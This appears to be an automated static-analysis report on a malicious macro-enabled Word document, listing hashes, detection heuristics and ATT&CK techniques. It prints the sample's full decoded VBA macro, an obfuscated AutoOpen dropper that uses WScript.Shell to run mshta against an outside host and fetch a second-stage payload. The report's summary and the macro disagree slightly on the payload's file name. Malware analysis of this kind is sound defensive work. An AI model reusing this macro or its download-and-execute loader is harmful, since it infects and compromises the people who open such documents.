Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7c0f8d6cf4f908cc…

MALICIOUS

Office (OOXML)

85.7 KB Created: 2020-02-28 07:08:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2020-07-24
MD5: 5f2d3ed67a577526fcbd9a154f522cce SHA-1: 15042d5b394e4867014525276fcba54c52208b8b SHA-256: 7c0f8d6cf4f908cce8b7f65f2b5ee06a311d28ee6d8f1b32e90af4d08c2ab327
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that executes obfuscated code. This code decodes a URL and uses CreateObject to launch mshta.exe, which downloads and executes a second-stage payload from 'http://nhpurumy.mireene.com/theme/basic/skin/member/basic/upload/sear.hta'. The presence of the AutoOpen macro and the CreateObject call strongly indicate malicious intent.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-7605659-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7605659-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1272 bytes
SHA-256: 88e720dcd5b688fdd5e6434571e59242318f1aa0b75d12a8deec19ea24b6210a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Const vouxaweiky = 0
Private Function ibgcqjqcesdb(ByVal nszemdxvjgig As String) As String
Dim crvueaktrvsw As Long
For crvueaktrvsw = 1 To Len(nszemdxvjgig) Step 2
ibgcqjqcesdb = ibgcqjqcesdb & Chr$(Val("&H" & Mid$(nszemdxvjgig, crvueaktrvsw, 2)))
Next crvueaktrvsw
End Function
Sub bgdrkwewidjuilxpmyaz(hhacncliysnlfvsph As String)
With CreateObject(ibgcqjqcesdb("57536372697074") & ibgcqjqcesdb("2e5368656c6c"))
.Exec (hhacncliysnlfvsph)
End With
End Sub
Sub AutoOpen()
With ActiveDocument.Background.Fill
.ForeColor.RGB = RGB(255, 255, 255)
.Visible = msoTrue
.Solid
End With
Selection.WholeStory
Content = ibgcqjqcesdb("6d7368746120687474703a2f2f6e68707572756d792e6d697265656e652e636f6d2f7468656d652f62617369632f736b696e") & ibgcqjqcesdb("2f6d656d6265722f62617369632f75706c6f61642f7365617263682e687461202f66")
Selection.Font.Hidden = False
bgdrkwewidjuilxpmyaz (Content)
Selection.Collapse
ActiveDocument.Save
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: 89619431efd1e1ab639c10a3f2c7a1ebe2ea79f3463a0584d781359fc035c4b6

Open this report in the interactive analyzer, or submit your own file for analysis.